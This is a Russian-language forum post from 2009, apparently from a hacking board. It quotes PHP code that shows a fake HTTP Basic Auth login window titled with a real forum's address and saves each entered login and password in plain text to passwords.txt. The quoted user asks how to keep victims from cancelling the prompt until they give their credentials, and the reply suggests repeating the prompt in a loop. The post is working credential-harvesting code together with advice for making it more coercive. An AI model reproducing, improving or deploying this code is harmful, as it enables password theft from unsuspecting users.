Показать сообщение отдельно

  #3  
Старый 07.05.2009, 21:03
25:17
Banned
Регистрация: 07.05.2009
Сообщений: 11
С нами: 8954306

Репутация: 11
По умолчанию

Цитата:
Сообщение от S[N]EP  
Вот вопросик , есть код:
PHP код:
<?
if(!$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }


 }

?>
он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????
Можно поставить цикл сколько угодно раз, т.е. если он нажимает отмену то цикл еще раз.
 
Ответить с цитированием